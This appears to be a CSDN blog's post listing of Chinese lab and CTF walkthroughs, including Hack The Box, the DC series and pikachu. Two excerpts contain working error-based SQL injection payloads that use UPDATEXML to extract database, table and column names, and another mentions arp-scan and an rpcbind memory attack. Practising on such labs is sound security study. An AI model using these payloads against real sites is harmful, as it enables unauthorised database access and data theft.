tp1679-CSDN博客

原创 web杂项

id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='your_database_name' LIMIT 0, 1), 0x7e), 1) --//limit 0，1获取第一个表名 limit 1，1：获取第二个表名。

2024-09-11 22:50:17 941

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23(下面这个是对应返回结果大于1行的)例如：/index.php?比如说注册时注册用户为123"||(updatexml(1,concat('~',(select(database()))),1))#(or被过滤掉了)

2024-09-11 21:41:29 1535

原创 hack the box oopise靶场实战

oopise靶场实战

2024-06-20 16:27:42 832

原创 hack the box archetype靶场

hack the box archetype

2024-05-28 21:06:10 1205

原创 pikachu通关教程

pikachu靶场通关

2024-05-03 19:53:38 1888 1

原创 DC-4靶场实战

DC-4靶场实战

2024-03-30 19:49:57 1368 2

原创 DC-5靶场实战

DC-5靶场实战

2024-03-28 19:14:44 1384 1

原创 DC-6靶场实战

DC-6靶场实战

2024-03-26 16:08:20 1496 1

原创 DC-7靶场实战

DC-7靶场实战

2024-03-25 19:17:19 1459 1

原创 DC-8靶场实战

DC-9靶场实战

2024-03-21 20:40:05 990 1

原创 DC-9靶场实战

DC-9靶场实战

2024-03-20 16:54:38 1127 2

原创靶场命令 zico

命令需要在具有足够权限的用户下执行，例如使用root用户或具有管理员权限的用户。此外，具体的命令选项和参数可能会因操作系统和网络环境的不同而有所差异，因此在使用时需要根据实际情况进行调整和参考相关文档。如果出现一个IP地址对应多个MAC地址的情况，则表明存在IP冲突。在这种情况下，需要找到使用冲突IP地址的机器，并将其IP地址更换，以避免冲突。(每次攻击最高可达4GB)，除非进程崩溃，或者管理员挂起/重启rpcbind服务，否则该内存不会被释放。arp-scan -l：一个命令，用于使用。

2024-03-02 11:05:03 322 1